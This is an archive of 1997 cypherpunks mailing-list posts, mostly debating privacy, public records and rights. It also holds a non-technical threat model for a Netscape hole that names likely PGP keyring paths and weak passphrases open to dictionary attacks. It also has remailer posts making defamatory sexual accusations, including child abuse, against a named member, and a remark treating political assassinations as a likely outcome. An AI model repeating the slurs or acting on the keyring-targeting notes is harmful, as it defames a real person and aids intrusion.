> payers would rather free-ride and let others pay, so the public good ends
> up not being "produced".

This not correct:  Public goods are underproduced, but they are produced.

Thus Bell's scheme would lead to less than the economically optimal
number of political assassinations, but this is still a great deal 
more than zero, and still likely to have substantial effect on 
political behavior.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Sat, 14 Jun 1997 05:42:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.970613180314.30086A-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



Tim,

> Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
> clogged by people dumping Navigator and trying to download Explorer.

Are you sure they are trying to get Explorer ? it's *very* difficult to
buy a PC nowadays that comes without it. My guess is that people are still
trying to get the vital bugfixes for NT, IE, Win95,...

BTW: if people think IE will do better, they should broaden their minds.
Long live ActiveX ! Recently, MS also implemented a file upload thingie
for IE. What else do you need to browse a visitor's PC ?

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 14 Jun 1997 09:32:43 +0800
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613082215.27747P-100000@well.com>
Message-ID: <Pine.LNX.3.93.970614064648.104H-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

[...]

>    but you
>    shouldn't be able to stop someone else from passing along that
>    information if you let it leave your computer.

So I'm not premitted to say, 'I give you give you and only you this
infomation' and expect my goverment to help me if thay violate this
condtionn?

[...]

>    Businesses say that such a rule would stifle
>    Internet advertising and commerce and have recently released a flurry
>    of self-regulatory proposals.

Yes the good old self-regulatory smoke screan.

[...]

>         Yet this misses the point. Protecting your personal privacy
>    online is your responsibility.

Partly,  however there are actions where it is currently neccery for me to
release personal infomation,  I wish to be pretected from abuse of that
innfomation in that context.  In addtion such laws should encourage
protocls that reduce the need for personal infomation to be realsed.

[...]

>    But in truth, privacy is not a right but a
>    preference: Some people want more of it than others.

But in truth [Right foo] is not a right but a preference: Some peaple
want more of it than others.

>         Of course there's an essential right to privacy from the
>    government.

But what is worce big Bisness or big Goverment.  I see no real diffrentce
between a multinational comperny and a national goverment.  The only way
we can get protection from both is to play them off against each other.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 14 Jun 1997 22:51:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
Message-ID: <19970614074032.37364@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 14, 1997 at 08:58:36AM -0500, William H. Geiger III wrote:
[...]
>
>You have two choices you can take the Libertarian view of a minimal
>governement where all it's actions are reveiwable by it's citizens or you
>can take the Statest view of big governemtn where all is's actions are
>hidden and all "solutions" are more regulation and biger government.

The consistent libertarian/anarchist view of this would be that the
privacy or non-privacy of records is completely determined by contract
between the person supplying the information and the agency collecting
it.  For example, a medical license would be granted by agencies that 
granted such licenses.  If you wanted a license from a particular agency 
you would deal with them.  The value of the license is determined by 
the reputation of the agency, not whether or not they give out 
doctors home addresses.

>The whole privacy issue is a strawman proped up by the government to
>frighten the sheeple so they can pass their agenda. What's their agenda?
>To have a series of privacy laws they can hide behind to keep their
>actions hidden from public view.

An amusing example of a conspiracy theory.  You are pretty good at 
these, you know.  :-)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:12:55 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
Message-ID: <199706141405.JAA25820@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>, on
06/13/97 
   at 02:16 PM, Ray Arachelian <sunder@brainlink.com> said:

>On Fri, 13 Jun 1997, William H. Geiger III wrote:

>> Ray you seem to be missing the point here.

>Bzzzt:
> 
>> Any state issued permit is public record. This includes your drivers
>> license and your auto registration.

>Should it include your address and phone number?

Yes

>> It is imperative that in a democracy that the public know who and what the
>> state is giving permits to (there whole other issue of wether the state
>> should be issuing permits at all but that should be left to another
>> thread).

>> In a free and open society the public must be able to review the actions
>> of its government.

>Then we don't live in an open and free society.  Do we have open records
>into what the CIA and NSA and such do? etc.?  Very few. 
>

Two wrongs don't make a right Ray. The whole CIA NSA thing is just a
flimsy straw man. All the documants being discused are on the state and
local level. They do not have "national security" that they can hide
behinde.

 
>> If Joe Sixpack has run over 20 people because he gets his kicks out of it
>> and the DMV still issues him a license the public has a right to know.

>But should the public know Joe's phone number and address and date of
>birth?  Gee, weren't we screaming this sucks to easily accessible Texas
>DMV records a few days ago?

YOU may have been screaming about it I was not.

>> If the state is going to issue permits on what people can and can not do
>> the it is crutial that the public can examine these records to insure that
>> the state is not abusing this power.

>See CIA comment above.  What of the likes of TRW, and health records?
>Should these be open knowledge to anyone who is a credit card agent or
>health insurance co?  If it is vital to have this info to keep the
>governments in check, why does the government have privacy?  If the
>government has privacy, why shouldn't we?  Neither do we, nor the
>government have absolute privacy, however, the government controls the
>information it deems to keep private.  Why should we not do the same?

>Should detailed building plans be made available of all buildings so that
>theives can look at them and break into banks more easily?  Perhaps there
>are reasons some of these things are available to the public.  Perhaps
>there are reasons why not all should be.

Look Ray I answered all this in my previous post.

You have two choices you can take the Libertarian view of a minimal
governement where all it's actions are reveiwable by it's citizens or you
can take the Statest view of big governemtn where all is's actions are
hidden and all "solutions" are more regulation and biger government.

The whole privacy issue is a strawman proped up by the government to
frighten the sheeple so they can pass their agenda. What's their agenda?
To have a series of privacy laws they can hide behind to keep their
actions hidden from public view.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:44:56 +0800
To: tzeruch@ceddec.com
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <97Jun13.180309edt.32257@brickwall.ceddec.com>
Message-ID: <199706141436.JAA26144@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <97Jun13.180309edt.32257@brickwall.ceddec.com>, on 06/13/97 
   at 06:03 PM, tzeruch@ceddec.com said:

>On Fri, 13 Jun 1997, Ray Arachelian wrote:

>> On Fri, 13 Jun 1997, William H. Geiger III wrote:
>> 
>> > Any state issued permit is public record. This includes your drivers
>> > license and your auto registration.
>> 
>> Should it include your address and phone number?
>> 
>> > It is imperative that in a democracy that the public know who and what the
>> > state is giving permits to (there whole other issue of wether the state
>> > should be issuing permits at all but that should be left to another
>> > thread).

>One important distinction:

>If the state issues me a permit, they probably have a right to the
>information pertaining to the permit, e.g. they do need the make, model,
>year, and similar information about the car to issue a title or
>registration.  If they are issuing state ID, they need to know that I am
>me in order to issue it.  They don't need to place my mother's maiden
>name into the record although I think it appears on my birth certificate,
>and would cause problems since this is used as an informal password.  My
>driver's license is a permit to drive, not a permit to be me.  You can
>make a case for the database containing my age, but date of birth?  Much
>of what appears is not necessary for the purpose stated. 

>So are you making the case for having the state ask every detail about
>your life and being able to place it in the licensing database, or only
>answers to those questions relevant to issuing the license?

I would say only the relevant info for issuing a license. This is not to
say that the license should be anonymous. If the government is going to
issue a license/permit then the citizens have a right to know who these
license/permits are issued to.

Ray and some others are mixing several issues:

-- Should the State be involved in issueing these permits?

-- Should the information be public?

-- How should the information be used if it is public?

I woun't go into the fist one as I don't want to get off on a tangent.

As for the second one yes the information should be public and yes it will
have to containe enough personal information so that I or anyone else can
verify that the State is doing what they say they are. A good example of
this is voting registrations in Chicago. It has long been known as the
"most democratic city in the country, even the dead can vote".

The third one is the one that is causing people the most greif. If as I
contend with the second question that this info should and *must* be made
public then there is nothing that can be done here. Public information is
public information. What I or anyone else does with that information once
it becomes public is no ones bussines but my own. 

Because some people do things you don't like with this *public* info is
not an excuse for passing draconian laws and closing government action
from public view. This is the type of argumants that the government uses
against us on crypto (the four horseman), it is the same type of argument
that is used everytime the governement wants to shit on another part of
the constitution. Someone may or maynot do somthing we don't like so we
are going to pass some laws and restrict the rights of the citizens even
more. The saddest part is the sheeple thank them for it.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:58:35 +0800
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <Pine.GUL.3.95.970613165059.3495A-100000@Networking.Stanford.EDU>
Message-ID: <199706141440.JAA26190@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GUL.3.95.970613165059.3495A-100000@Networking.Stanford.EDU>, on
06/13/97 
   at 04:57 PM, Rich Graves <llurch@networking.stanford.edu> said:

>-----BEGIN PGP SIGNED MESSAGE-----

>Ray Arachelian <sunder@brainlink.com> wrote:

>> Should detailed building plans be made available of all buildings so that
>> theives can look at them and break into banks more easily? Perhaps there
>> are reasons some of these things are available to the public. Perhaps
>> there are reasons why not all should be.

>Yeah. We'd better criminalize publishing computer security exploits, too.
> Some information is just too damn dangerous. 

>If there is no public record of stuff like real estate, how are we
>supposed to know who owns what? Whoever's got the biggest gun?

Well I for one want to know if the mayor's brother-in-law is getting all
the road contract's or if Sludge, Inc. is buying up large tracks of land
by my house.

I am really amazed how if one pushes the right button so many self
proclaimed "Libertarians" turn "Statest"

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 22:58:41 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <199706141448.JAA26269@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970613201551.40314@bywater.songbird.com>, on 06/13/97 
   at 08:15 PM, Kent Crispin <kent@songbird.com> said:

>On Fri, Jun 13, 1997 at 07:10:35PM -0700, Tim May wrote:
>> At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
>> >Awwww, Caaa'monnn.
>> >
>> >You mean they can license handguns, but not reporters???
>> 
>> Indeed, it is strange. What part of "Congress shall make no law" do they
>> not understand?

>The second amendment does not include that phrase.  The first  amendment
>does.  Perhaps they understand it a great deal better than  you:


>                            Amendment I

>Congress shall make no law respecting an establishment of religion, or
>prohibiting the free exercise thereof; or abridging the freedom of
>speech, or of the press; or the right of the people peaceably to
>assemble, and to petition the Government for a redress of grievances. 

>                           Amendment II

>A well regulated Militia, being necessary to the security of a free
>State, the right of the people to keep and bear Arms, shall not be
>infringed. 

Which part of "shall not be infringed" don't you understand Kent??

Some rights more equal than others?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 23:04:14 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <19970614074032.37364@bywater.songbird.com>
Message-ID: <199706141455.JAA26358@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970614074032.37364@bywater.songbird.com>, on 06/14/97 
   at 07:40 AM, Kent Crispin <kent@songbird.com> said:

>On Sat, Jun 14, 1997 at 08:58:36AM -0500, William H. Geiger III wrote:
>[...]
>>
>>You have two choices you can take the Libertarian view of a minimal
>>governement where all it's actions are reveiwable by it's citizens or you
>>can take the Statest view of big governemtn where all is's actions are
>>hidden and all "solutions" are more regulation and biger government.

>The consistent libertarian/anarchist view of this would be that the
>privacy or non-privacy of records is completely determined by contract
>between the person supplying the information and the agency collecting
>it.  For example, a medical license would be granted by agencies that 
>granted such licenses.  If you wanted a license from a particular agency 
>you would deal with them.  The value of the license is determined by  the
>reputation of the agency, not whether or not they give out  doctors home
>addresses.

This is fine if the licensing is being done in the private sector. If it
is being done by the government then it must be public. You can not have a
democracy if everything the governmnet does is hidden from the citizens it
is to server.

>>The whole privacy issue is a strawman proped up by the government to
>>frighten the sheeple so they can pass their agenda. What's their agenda?
>>To have a series of privacy laws they can hide behind to keep their
>>actions hidden from public view.

>An amusing example of a conspiracy theory.  You are pretty good at 
>these, you know.  :-)

No conspiracy Kent just SOP for the government. I believe the current
phrase is "spin-doctoring". Anyone who has spent any time watching how
governemnt works knows that quite often they will create a "problem" for
the sole purpose of providing a "solution".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 22:44:18 +0800
To: cypherpunks@toad.com
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.LNX.3.91.970613182413.612A-100000@fatmans.demon.co.uk>
Message-ID: <BZka9D126w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

>
> > He still misunderstands my position. I'm saying you have no property right
> > in information others collect about you.
>
> There is no such thing as intellectual property rights period. All
> patents and copyrights are violations of free speech, technology is the
> only way to protect so called "intellectual property"...

I fully agree.  Technology or good marketing (you can have my software
for free, but you need to pay for "support")

> > Great. You want Congress to pass a law that says "Netscape shall release
> > no more buggy browsers." Yeah, and mandate that pi is 3.14, right?
>
> No, I wouldn`t mind one that made bugs in Micro$oft stuff criminal ;-)...
> BTW, I`m pretty sure it was pi=3.2 on that bill.

I think it was exactly 3, like it says in the Bible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 14 Jun 1997 22:41:06 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
Message-ID: <199706141428.KAA12341@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




| >Tim's post (although refuted by Marc) raises some serious issues since I
| >suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

	Are FAT file lists stored as files?

	On a Unix box, /. refers to the file containing directory
entries, the list of files in the directory.  If there is an analogous
file on a dos box, you can explore.  (Does the bug work on Unix?  I've
heard it only works if java or livescript are turned on, so it hasn't
worried me enough to investigate.)

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 15 Jun 1997 00:40:22 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [ADMINISTRATIVIUM] ZKP
In-Reply-To: <199706141102.NAA10524@basement.replay.com>
Message-ID: <Pine.A41.3.95.970614103029.30172B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C. Mayo is not only as queer as a three 
> dollar bill, but he is also into having sex with 
> children.
> 
>   (((>     /<
>  (        /
>   ((({{{{{:<  Timothy C. Mayo
>           \
>            \<
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:38:33 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.91.970614102206.612E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> If I give XYZ corp any info I expect them not to sell that info without my
> permission.  Verily, that information is valuable, therefore if they want
> to sell it, they should get my permission, and should pay me for it.

The default case is total freedom of speech for both individuals and 
corporations, if you don`t want XYZ corp. to sell your information make a 
contract with them that they will not sell it, if you do want it sold but 
want to be paid, then a contract is again the answer. 

> I don't necessarily want government restrictions on privacy, however I
> would want a constitutional amendment to privacy that says: all I do is
> private unless I explicitly share it with others, and if I do share it,
> they may not pass it on to others without my permission.  

The first part is correct, everything you do IS private until you pass it 
on, if you don`t want transactions traced, don`t use a credit card, if 
you don`t want a shop to take information; refuse to give it or lie.
The second part is a restriction on free speech not based in a contract, 
there is no such thing as a default case of restricted speech. I agree 
that privacy is a valuable thing but it comes down to you to protect it, 
not the state and not the constitution.


> personal level, not on a corporate or governmental level.  Why I feel this
> way is an excercise for the reader.  Hint: Uncle Sam works for us since we
> pay him from our income.  We don't work for him (most of the time.)

I agree, if the people decide the state cannot collect information on 
them they are entitled to force the state not to do so. But between 
individuals and corporations it is a matter of a private contractural 
agreement.

> How many loons have used DMV records to stalk their victims?

I can`t answer this point because I don`t know if the US DMV reg system 
is supposed to allow anyone access to anyone elses records, if not then 
this is the fault of the government goons who failed in protecting the 
information.

> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.

No, this is an act of trespass and is unauthorised use of your equipment, 
what it all comes down to is property: To break into your system is an 
unauthorised use of your equipment: A tangiable theft. To compare this to 
speech is a straw man.

> As for Radio Shack weasels, I don't give them info, or give them
> misleading info.  What's on my hard drives and in my machine's RAM is NONE
> OF ANYONE'S BUSINESS!

Quite so, if you don`t want to give radio shack information then refuse, 
lie or walk away. The only thing wrong with radio shack asking for this 
information is that the government mandates that such information must be 
true.

> At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
> that are purchased by credit card I know that info will leak out, and
> don't do this unless I'm willing to leak it out.

Exactly, YOU and no-one else makes the decision to release the 
information. Even this can be avoided by holding bank accounts in false 
names and running debit cards from them (I believe neither of these 
actions is criminal?).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 15 Jun 1997 01:48:13 +0800
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Forgery detection
Message-ID: <199706141738.KAA10002@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May studied yoga back-streching exercises for five 
years so he could blow himself (nobody else will).

            ,,,
       -ooO(o o)Ooo- Timmy May
            (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 18:19:26 +0800
To: Peter Trei <trei@process.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706131352.GAA06683@toad.com>
Message-ID: <Pine.LNX.3.91.970614104519.612F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> For Congress to deny the freedom to burn the flag is a desecration of what
> the flag stands for - a descration of the flag by the government itself.

Well said, for a government to deny the right to destroy private 
property, whether a flag or anything else, gives yet more proof of why 
the flag no longer means anything and why it should be burnt.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 00:46:53 +0800
To: cypherpunks@Algebra.COM
Subject: Impact of Netscape kernel hole (fwd)
Message-ID: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>It'd be nice to have more specifics about the whole situation, but
>regardless - any preliminary threat assessments?  Exactly how widely
>exploited do you think this has been?
>
>Tim's post (although refuted by Marc) raises some serious issues since I
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp
>
>Some coherent input on the possible impact of this would be appreciated.

Basically the threat model is very simple:

Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
to go through most of the common places.

The very same guy probably has a password that is:

A. FRED (notice how close the letters are, this is a real dumb-ass 
password of the century)

B. His wifes name

C. Her birthday

D. The name of his favourite film or some character from it...


Can you say "dictionary attack"???. 

I must admit I personally, against all the rules, keep my pgp secret key 
on this box. This doesn`t worry be greatly because:

1. I have a strong passphrase.
2. This box is only on dialup, so is not connected for long, and I VERY 
rarely use the web anyway, Its too slow, so I prefer ftpmail and ftp for 
getting files. This corresondingly reduces the risk of me having used a 
site that exploited this hole.
3. If I ever have anything to recieve that needs to be really secure I 
use a one time key pair, so even the RSA key is one time. Most PGP mail I 
send or recieve is fairly innocuous and the use of encryption is just 
precautionary, ie. to stop nosy sysadmins.

What it basically comes down to is that Joe Sixpack, the guy most likely 
to have his key compromised by this attack, is:

1. Not likely to be sending valuable enough mail to expend time mounting 
even a simple dictionary attack on his key.

2. The least likely to know about, understand or respond to this flaw.


So basically the threat is the usual one: The stupid will get caught. If 
you are sending highly criminal mail your key shouldn`t be on any machine 
not 12 feet underground in a concrete bunker with 24 hour fully trusted 
security guards, CCTV etc. etc. anyway.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 15 Jun 1997 02:18:45 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [ANNOUNCEMENT] Forgery detection
In-Reply-To: <199706141738.KAA10002@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970614120940.88280A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.

On Sat, 14 Jun 1997, Huge Cajones Remailer wrote:

> Timmy May studied yoga back-streching exercises for five 
> years so he could blow himself (nobody else will).
> 
>             ,,,
>        -ooO(o o)Ooo- Timmy May
>             (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Sun, 15 Jun 1997 00:55:10 +0800
Subject: This is NOT trespassing.
Message-ID: <199706141643.MAA001.36@butternut.nist.gov>
MIME-Version: 1.0
Content-Type: text/plain



Did you pay for your TV?  Do you buy electricity by the KWH?
Pay a monthly cable bill?  If so, then why isn't a television 
commercial considered theft of your televised resources?

Doesn't it cost something to ride the bus?  Then why aren't
the public transport's advertisers guilty of stealing your
wallspace?

What about newspapers, magazines, radio stations, going to
the movies, driving on any road, almost any PAID activity in
life?  Each has its attendent advertisments and commercials.

We PAY for an enormous percentage of solicitations.  Everyday.

WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT? 

Fact is, it isn't.  Nor will it ever be.  When you make any
contact in public via any media or communication form, there
will come invitations, solicitations, possibly vexations and
the like.  It's one of the prices we must pay in order to be
able to communicate at all.  

P.S. sure is hard to tell what's "blue" these days.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 14 Jun 1997 21:08:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
Message-ID: <19970614125035.32717.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
>Ray Arachelian wrote:
>> Yes, I do take privacy seriously, and I do protect it.  But to say
>> anyone has the right to snoop my machines and see what I have there
>> is NOT cool.  What I leave on my computer is my private business,
>> and NOBODY HAS THE RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether
>> or not they have root.

>I'm not saying that people have a "right to surf (?) it without your
>permission." That's a violation of your property rights, a trespass.
>But if you connect to my web site, I should be allowed to record
>whatever info leaks from your computer. Don't like it? Cut the flow
>or don't come.

"Trespass" is a misleading term.  The person "trespassing" doesn't
have to leave their chair.

What really happens is that somebody sets up a machine that will
transmit information when it receives certain combinations of bits.
Then the machine is made available to the whole world.

It is most reasonable to put the burden for security on the person who
wants to make their machine available to the whole world.

The legal approach has several problems.

1. It is ineffective and gives a false sense of security.

2. It undermines the demand for secure machinery.  (Intentional: the
people in governments believe secure machinery threatens their
positions.)

3. It brings up problems with borders and seignority.

